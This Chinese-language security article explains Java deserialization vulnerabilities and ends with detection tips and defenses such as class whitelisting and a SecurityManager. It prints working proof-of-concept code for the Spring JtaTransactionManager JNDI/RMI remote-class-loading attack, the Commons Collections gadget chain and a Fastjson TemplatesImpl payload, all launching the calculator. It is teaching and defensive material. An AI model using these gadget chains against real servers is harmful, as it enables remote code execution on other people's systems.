作者:斗象科技能力中心(E_Bwill@TCC)

1. Java 序列化與反序列化

Java 序列化是指把 Java 對象轉換為字節序列的過程便于保存在內存、文件、數據庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。

Java 反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的 readObject() 方法用于反序列化。

序列化與反序列化是讓 Java 對象脫離 Java 運行環境的一種手段,可以有效的實現多平臺之間的通信、對象持久化存儲。主要應用在以下場景:

HTTP:多平臺之間的通信,管理等

RMI:是 Java 的一組擁護開發分布式應用程序的 API,實現了不同操作系統之間程序的方法調用。值得注意的是,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是 1099 端口。

JMX:JMX 是一套標準的代理和服務,用戶可以在任何 Java 應用程序中使用這些代理和服務實現管理,中間件軟件 WebLogic 的管理頁面就是基于 JMX 開發的,而 JBoss 則整個系統都基于 JMX 構架。 ?

2. 漏洞歷史

最為出名的大概應該是:15年的Apache Commons Collections 反序列化遠程命令執行漏洞,其當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

2016年Spring RMI反序列化漏洞今年比較出名的:Jackson,FastJson

Java 十分受開發者喜愛的一點是其擁有完善的第三方類庫,和滿足各種需求的框架;但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,那么受影響范圍將極為廣泛。

3. 漏洞成因

暴露或間接暴露反序列化 API ,導致用戶可以操作傳入數據,攻擊者可以精心構造反序列化對象并執行惡意代碼

兩個或多個看似安全的模塊在同一運行環境下,共同產生的安全問題 ?

4. 漏洞基本原理

實現序列化與反序列化

public class test{
    public static void main(String args[])throws Exception{
          //定義obj對象
        String obj="hello world!";
          //創建一個包含對象進行反序列化信息的”object”數據文件
        FileOutputStream fos=new FileOutputStream("object");
        ObjectOutputStream os=new ObjectOutputStream(fos);
          //writeObject()方法將obj對象寫入object文件
        os.writeObject(obj);
        os.close();
          //從文件中反序列化obj對象
        FileInputStream fis=new FileInputStream("object");
        ObjectInputStream ois=new ObjectInputStream(fis);
          //恢復對象
        String obj2=(String)ois.readObject();
        System.out.print(obj2);
        ois.close();
    }
}

上面代碼將 String 對象 obj1 序列化后寫入文件 object 文件中,后又從該文件反序列化得到該對象。我們來看一下 object 文件中的內容:

這里需要注意的是,ac ed 00 05是 java 序列化內容的特征,如果經過 base64 編碼,那么相對應的是rO0AB

我們再看一段代碼:

public class test{
    public static void main(String args[]) throws Exception{
        //定義myObj對象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //創建一個包含對象進行反序列化信息的”object”數據文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法將myObj對象寫入object文件
        os.writeObject(myObj);
        os.close();
        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable{
    public String name;
    //重寫readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //執行默認的readObject()方法
        in.defaultReadObject();
        //執行打開計算器程序命令
        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    }
}

這次我們自己寫了一個 class 來進行對象的序列與反序列化。我們看到,MyObject 類有一個公有屬性 name ,myObj 實例化后將 myObj.name 賦值為了 “hi” ,然后序列化寫入文件 object:

然后讀取 object 反序列化時:

我們注意到 MyObject 類實現了Serializable接口,并且重寫了readObject()函數。這里需要注意:只有實現了Serializable接口的類的對象才可以被序列化,Serializable 接口是啟用其序列化功能的接口,實現 java.io.Serializable 接口的類才是可序列化的,沒有實現此接口的類將不能使它們的任一狀態被序列化或逆序列化。這里的 readObject() 執行了Runtime.getRuntime().exec("open /Applications/Calculator.app/"),而 readObject() 方法的作用正是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回,readObject() 是可以重寫的,可以定制反序列化的一些行為。

5. 安全隱患

看完上一章節你可能會說不會有人這么寫 readObject() ,當然不會,但是實際也不會太差。

我們看一下 2016 年的 Spring 框架的反序列化漏洞,該漏洞是利用了 RMI 以及 JNDI:

RMI(Remote Method Invocation) 即 Java 遠程方法調用,一種用于實現遠程過程調用的應用程序編程接口,常見的兩種接口實現為 JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議)以及 CORBA。

JNDI (Java Naming and Directory Interface) 是一個應用程序設計的 API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。JNDI 支持的服務主要有以下幾種:DNS、LDAP、 CORBA 對象服務、RMI 等。

簡單的來說就是RMI注冊的服務可以讓 JNDI 應用程序來訪問,調用。

Spring 框架中的遠程代碼執行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager類,該類實現了 Java Transaction API,主要功能是處理分布式的事務管理。

這里我們來分析一下該漏洞的原理,為了復現該漏洞,我們模擬搭建 Server 和 Client 服務;Server 主要功能是主要功能就是監聽某個端口,讀取送達該端口的序列化后的對象,然后反序列化還原得到該對象;Client 負責發送序列化后的對象。運行環境需要在 Spring 框架下。

(PoC來自 zerothoughts

我們首先來看 server 代碼:

public class ExploitableServer {
   public static void main(String[] args) {
       {
         //創建socket
         ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
         System.out.println("Server started on port "+serverSocket.getLocalPort());
         while(true) {
            //等待鏈接
            Socket socket=serverSocket.accept();
            System.out.println("Connection received from "+socket.getInetAddress());            
            ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
            try {
               //讀取對象
               Object object = objectInputStream.readObject();
               System.out.println("Read object "+object);                         
            } catch(Exception e) {
               System.out.println("Exception caught while reading object");                           
               e.printStackTrace();
            }           
         }
      } catch(Exception e) {
         e.printStackTrace();
      }
   }
}

client:

public class ExploitClient {
    public static void main(String[] args) {
        try {
            String serverAddress = args[0];
            int port = Integer.parseInt(args[1]);
            String localAddress= args[2];
            //啟動web server,提供遠程下載要調用類的接口
            System.out.println("Starting HTTP server");
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8088), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();
            //下載惡意類的地址 http://127.0.0.1:8088/ExportObject.class
            System.out.println("Creating RMI Registry");
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

            System.out.println("Connecting to server "+serverAddress+":"+port);
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            //jndi的調用地址
            String jndiAddress = "rmi://"+localAddress+":1099/Object";
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            //發送payload
            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

最后是 ExportObject ,包含測試用執行的命令:

public class ExportObject {
   public static String exec(String cmd) throws Exception {
      String sb = "";
      BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
      BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
      String lineStr;
      while ((lineStr = inBr.readLine()) != null)
         sb += lineStr + "\n";
      inBr.close();
      in.close();
      return sb;
   }
   public ExportObject() throws Exception {
      String cmd="open /Applications/Calculator.app/";
      throw new Exception(exec(cmd));
   }
}

先開啟 server,再運行 client 后:

我們簡單的看一下流程。

這里向 Server 發送的 Payload 是:

        // jndi的調用地址
        String jndiAddress = "rmi://127.0.0.1:1999/Object";
        // 實例化JtaTransactionManager對象,并且初始化UserTransactionName成員變量
        JtaTransactionManager object = new JtaTransactionManager();
        object.setUserTransactionName(jndiAddress);

上文已經說了,JtaTransactionManager 類存在問題,最終導致了漏洞的實現,這里向 Server 發送的序列化后的對象就是 JtaTransactionManager 的對象。JtaTransactionManager 實現了 Java Transaction API,即 JTA,JTA 允許應用程序執行分布式事務處理——在兩個或多個網絡計算機資源上訪問并且更新數據。

上文已經介紹過了,反序列化時會調用被序列化類的 readObject() 方法,readObject() 可以重寫而實現一些其他的功能,我們看一下 JtaTransactionManager 類的 readObject() 方法:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // Rely on default serialization; just initialize state after deserialization.
        ois.defaultReadObject();

        // Create template for client-side JNDI lookup.
        this.jndiTemplate = new JndiTemplate();

        // Perform a fresh lookup for JTA handles.
        initUserTransactionAndTransactionManager();
        initTransactionSynchronizationRegistry();
    }

方法 initUserTransactionAndTransactionManager() 是用來初始化 UserTransaction 以及 TransactionManager,在該方法中,我們可以看到:

lookupUserTransaction() 方法會調用 JndiTemplate 的 lookup() 方法:

可以看到 lookup() 方法作用是:Look up the object with the given name in the current JNDI context. 而就是使用 JtaTransactionManager 類的 userTransactionName 屬性,因此我們可以看到上文中我們序列化的 JtaTransactionManager 對象使用了 setUserTransactionName() 方法將jndiAddress 即 "rmi://127.0.0.1:1999/Object" ; 賦給了 userTransactionName。

至此,該漏洞的核心也明了了:

我們來看一下上文中 userTransactionName 指向的 “rmi://127.0.0.1:1999/Object” 是如何實現將惡意類返回給 Server 的:

        // 注冊端口1999
        Registry registry = LocateRegistry.createRegistry(1999);
        // 設置code url 這里即為http://http://127.0.0.1:8000/
        // 最終下載惡意類的地址為http://127.0.0.1:8000/ExportObject.class
        Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
        // Reference包裝類
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Object", referenceWrapper);

這里的Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/"); 可以看到,最終會返回的類的是http://127.0.0.1:8000/ExportObject.class ,即上文中貼出的ExportObject,該類中的構造函數包含執行 “open /Applications/Calculator.app/” 代碼。發送 Payload:

        //制定Server的IP和端口
        Socket socket = new Socket("127.0.0.1", 9999);
        ObjectOutputStream objectOutputStream = new                 ObjectOutputStream(socket.getOutputStream());
        //發送object
        objectOutputStream.writeObject(object);
        objectOutputStream.flush();
        socket.close();

小結

利用了 JtaTransactionManager 類中可以被控制的 readObject() 方法,從而構造惡意的被序列化類,其中利用 readObject() 會觸發遠程惡意類中的構造函數這一點,達到目的。

6. JAVA Apache-CommonsCollections 序列化RCE漏洞分析

Apache Commons Collections 序列化 RCE 漏洞問題主要出現在 org.apache.commons.collections.Transformer 接口上;在 Apache Commons Collections 中有一個 InvokerTransformer 類實現了 Transformer,主要作用是調用 Java 的反射機制(反射機制是在運行狀態中,對于任意一個類,都能夠知道這個類的所有屬性和方法;對于任意一個對象,都能夠調用它的任意一個方法和屬性,詳細內容請參考:http://ifeve.com/java-reflection/) 來調用任意函數,只需要傳入方法名、參數類型和參數,即可調用任意函數。TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject(),可以觸發漏洞。我們先來看一下大概的邏輯:

我們先來看一下Poc:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class test3 {
    public static Object Reverse_Payload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "value");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通過反射獲得AnnotationInvocationHandler類對象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通過反射獲得cls的構造函數
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //這里需要設置Accessible為true,否則序列化失敗
        ctor.setAccessible(true);
        //通過newInstance()方法實例化對象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        GeneratePayload(Reverse_Payload(),"obj");
        payloadTest("obj");
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //將構造好的payload序列化后寫入文件中
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //讀取寫入的payload,并進行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

我們先來看一下 Transformer 接口,該接口僅定義了一個方法 transform(Object input):

我們可以看到該方法的作用是:給定一個 Object 對象經過轉換后也返回一個 Object,該 PoC 中利用的是三個實現類:ChainedTransformerConstantTransformerInvokerTransformer

首先看 InvokerTransformer 類中的 transform() 方法:

可以看到該方法中采用了反射的方法進行函數調用,Input 參數為要進行反射的對象 iMethodName , iParamTypes 為調用的方法名稱以及該方法的參數類型,iArgs 為對應方法的參數,這三個參數均為可控參數:

接下來我們看一下 ConstantTransformer 類的 transform() 方法:

該方法很簡單,就是返回 iConstant 屬性,該屬性也為可控參數:

最后一個ChainedTransformer類很關鍵,我們先看一下它的構造函數:

我們可以看出它傳入的是一個 Transformer 數組,接下來看一下它的 transform() 方法:

這里使用了 for 循環來調用 Transformer 數組的 transform() 方法,并且使用了 object 作為后一個調用transform() 方法的參數,結合 PoC 來看:

我們構造了一個 Transformer 數組 transformers ,第一個參數是 “new ConstantTransformer(Runtime.class)” ,后續均為 InvokerTransformer 對象,最后用該 Transformer 數組實例化了 transformerChain 對象,如果該對象觸發了 transform() 函數,那么 transformers 將在內一次展開觸發各自的 transform() 方法,由于 InvokerTransformer 類的特性,可以通過反射觸發漏洞。下圖是觸發后 debug 截圖:

iTransformers[0] 是 ConstantTransformer 對象,返回的就是 Runtime.class 類對象,再此處 object 也就被賦值為 Runtime.class 類對象,傳入 iTransformers[2].transform() 方法:

然后依次類推:

最后:

這里就會執行 “open /Applications/Calculator.app” 命令。

但是我們無法直接利用此問題,但假設存在漏洞的服務器存在反序列化接口,我們可以通過反序列化來達到目的。

可以看出,關鍵是需要構造包含命令的 ChainedTransformer 對象,然后需要觸發 ChainedTransformer 對象的 transform() 方法,即可實現目的。在 TransformedMap 中的 checkSetValue() 方法中,我們發現:

該方法會觸發 transform() 方法,那么我們的思路就比較清晰了,我們可以首先構造一個 Map 和一個能夠執行代碼的 ChainedTransformer ,以此生成一個 TransformedMap ,然后想辦法去觸發 Map 中的 MapEntry 產生修改(例如 setValue() 函數),即可觸發我們構造的 Transformer ,因此也就有了 PoC 中的一下代碼:

這里的 outmap 是已經構造好的 TransformedMap ,現在我們的目的是需要能讓服務器端反序列化某對象時,觸發 outmap 的 checkSetValue() 函數。

這時類 AnnotationInvocationHandler 登場了,這個類有一個成員變量 memberValues 是 Map 類型,如下所示:

AnnotationInvocationHandler的readObject()函數中對memberValues的每一項調用了setValue()函數,如下所示:

因為 setValue() 函數最終會觸發 checkSetValue() 函數:

因此我們只需要使用前面構造的 outmap 來構造 AnnotationInvocationHandler ,進行序列化,當觸發 readObject() 反序列化的時候,就能實現命令執行:

接下來就只需要序列化該對象:

當反序列化該對象,觸發 readObject() 方法,就會導致命令執行:

Server 端接收到惡意請求后的處理流程:

所以這里 POC 執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue() 漏洞成功觸發。如圖:

該漏洞當時影響廣泛,在當時可以直接攻擊最新版 WebLogic 、 WebSphere 、 JBoss 、 Jenkins 、OpenNMS 這些大名鼎鼎的 Java 應用。

7. Fastjson 反序列化漏洞

該漏洞剛發出公告時筆者研究發現 Fastjson 可以通過 JSON.parseObject 來實例化任何帶有 setter 方法的類,當也止步于此,因為筆者當時認為利用條件過于苛刻。不過后來網上有人披露了部分細節。利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類和 Fastjson 的 smartMatch() 方法,從而實現了代碼執行。

public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

這里的利用方式和 Jackson 的反序列化漏洞非常相似:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

由此可見,兩個看似安全的組件如果在同一系統中,也能會帶來一定安全問題。

8. 其他 Java 反序列化漏洞

根據上面的三個漏洞的簡要分析,我們不難發現,Java 反序列化漏洞產生的原因大多數是因為反序列化時沒有進行校驗,或者有些校驗使用黑名單方式又被繞過,最終使得包含惡意代碼的序列化對象在服務器端被反序列化執行。核心問題都不是反序列化,但都是因為反序列化導致了惡意代碼被執行。 這里總結了一些近兩年的 Java 反序列化漏洞:http://seclists.org/oss-sec/2017/q2/307?utm_source=dlvr.it&utm_medium=twitter

9. 總結

如何發現 Java 反序列化漏洞

  1. 從流量中發現序列化的痕跡,關鍵字:ac ed 00 05rO0AB
  2. Java RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是1099端口
  3. 從源碼入手,可以被序列化的類一定實現了Serializable接口
  4. 觀察反序列化時的readObject()方法是否重寫,重寫中是否有設計不合理,可以被利用之處

從可控數據的反序列化或間接的反序列化接口入手,再在此基礎上嘗試構造序列化的對象。

ysoserial 是一款非常好用的 Java 反序列化漏洞檢測工具,該工具通過多種機制構造 PoC ,并靈活的運用了反射機制和動態代理機制,值得學習和研究。

如何防范

有部分人使用反序列化時認為:

    FileInputStream fis=new FileInputStream("object");
    ObjectInputStream ois=new ObjectInputStream(fis);
    String obj2=(String)ois.readObject();

可以通過類似 "(String)" 這種方式來確保得到自己反序列化的對象,并可以保護自己不會受到反序列化漏洞的危害。然而這明顯是一個很基礎的錯誤,在通過 "(String)" 類似方法進行強制轉換之前, readObject() 函數已經運行完畢,該發生的已經發生了。

以下是兩種比較常用的防范反序列化安全問題的方法:

1. 類白名單校驗

在 ObjectInputStream 中 resolveClass 里只是進行了 class 是否能被 load ,自定義 ObjectInputStream , 重載 resolveClass 的方法,對 className 進行白名單校驗

public final class test extends ObjectInputStream{
    ...
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException{
         if(!desc.getName().equals("className")){
            throw new ClassNotFoundException(desc.getName()+" forbidden!");
        }
        returnsuper.resolveClass(desc);
    }
      ...
}

2. 禁止 JVM 執行外部命令 Runtime.exec

通過擴展 SecurityManager 可以實現:

(By hengyunabc)

SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 創建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止設置新的SecurityManager,保護自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }

                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }

                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };

            System.setSecurityManager(sm);
        }

Java 反序列化大多存在復雜系統間相互調用,控制,或較為底層的服務應用間交互等應用場景上,因此接口本身可能就存在一定的安全隱患。Java 反序列化本身沒有錯,而是面對不安全的數據時,缺乏相應的防范,導致了一些安全問題。并且不容忽視的是,也許某些 Java 服務沒有直接使用存在漏洞的 Java 庫,但只要 Lib 中存在存在漏洞的 Java 庫,依然可能會受到威脅。

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但今年陸續爆出的 Jackson 和 Fastjson 兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。所以無論是 Java 開發者還是安全相關人員,對于 Java 反序列化的安全問題應該具備一定的防范意識,并著重注意傳入數據的校驗,服務器權限和相關日志的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面。

參考

1.《What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability》By @breenmachine

2.《Spring framework deserialization RCE漏洞分析以及利用》By iswin

3.《JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高級利用》 By iswin

4.《Lib之過?Java反序列化漏洞通用利用分析》By 長亭科技

5.《禁止JVM執行外部命令Runtime.exec》By hengyunabc

附本文PDF下載地址


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/312/